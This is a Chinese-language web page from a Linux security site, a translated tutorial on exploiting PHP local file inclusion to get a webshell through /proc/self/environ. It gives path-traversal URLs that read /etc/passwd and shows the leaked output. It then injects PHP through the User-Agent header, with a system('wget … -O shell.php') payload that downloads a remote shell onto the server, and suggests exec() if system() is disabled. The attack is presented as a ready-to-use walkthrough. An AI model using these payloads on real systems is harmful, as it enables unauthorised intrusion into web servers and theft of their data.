Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

LFI通过proc/self/environ直接获取webshell

来源: 未知 分享至:

这篇文章算不上什么原创,今天无聊跑到milw0rm看到的,原文:http://www.milw0rm.com/papers/361

给朋友看了下说看不懂,就来个汉语翻译.呵呵,别见笑.讲的是如何通过注入的恶意代码在proc/self/environ获取到网站的webshell.其原理在文章后面我会告诉大家

第一步:寻找本地包含漏洞

首先找到一个可能存在本地包含的文件,去check它
比如:     www.0daynet.com/view.php?page=contact.php
替换成   www.0daynet.com/view.php?page=../
我们得到一个错误
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/0daynet.com/view.php on line 1337
翻译下以上的错误信息如下:
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/ home / sirgod / public_html / 0daynet.com /view.php

说明机会很大,只是不存在文件而已

那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd
提交url:www.0daynet.com/view.php?page=../../../etc/passwd
依旧是:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/0daynet.com/view.php on line 1337
所以我们一层层的加上../测试,直到显示为止
www.0daynet.com/view.php?page=../../../../../etc/passwd
这个时候我们成功的包含了/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:检查proc/self/environ是否可用访问


提交url:www.0daynet.com/view.php?page=../../../../../proc/self/environ

如果看到类似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.0daynet.com HTTP_REFERER=http://www.0daynet.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@0daynet.com SERVER_NAME=www.0daynet.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.0daynet.com Port 80
说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD

第三步: 注入恶意代码

我们怎么才能把我们的恶意代码注入到proc/self/environ呐?
我们可以注入我们的代码在用户代理HTTP头。
使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL:
    
      www.0daynet.com/view.php?page=../../../../../proc/self/environ
     
     选择User-Agent 写代码如下:
    
    <?system('wget http://www.0daynet.com/Shells/gny.txt -O shell.php');?>
        
    然后提交请求。
    
     我们的命令将被执行(将下载http://www.0daynet.com/Shells/gny.txt,并将其保存为它在shell.php
网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

第四步:访问我们的shell
 


最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史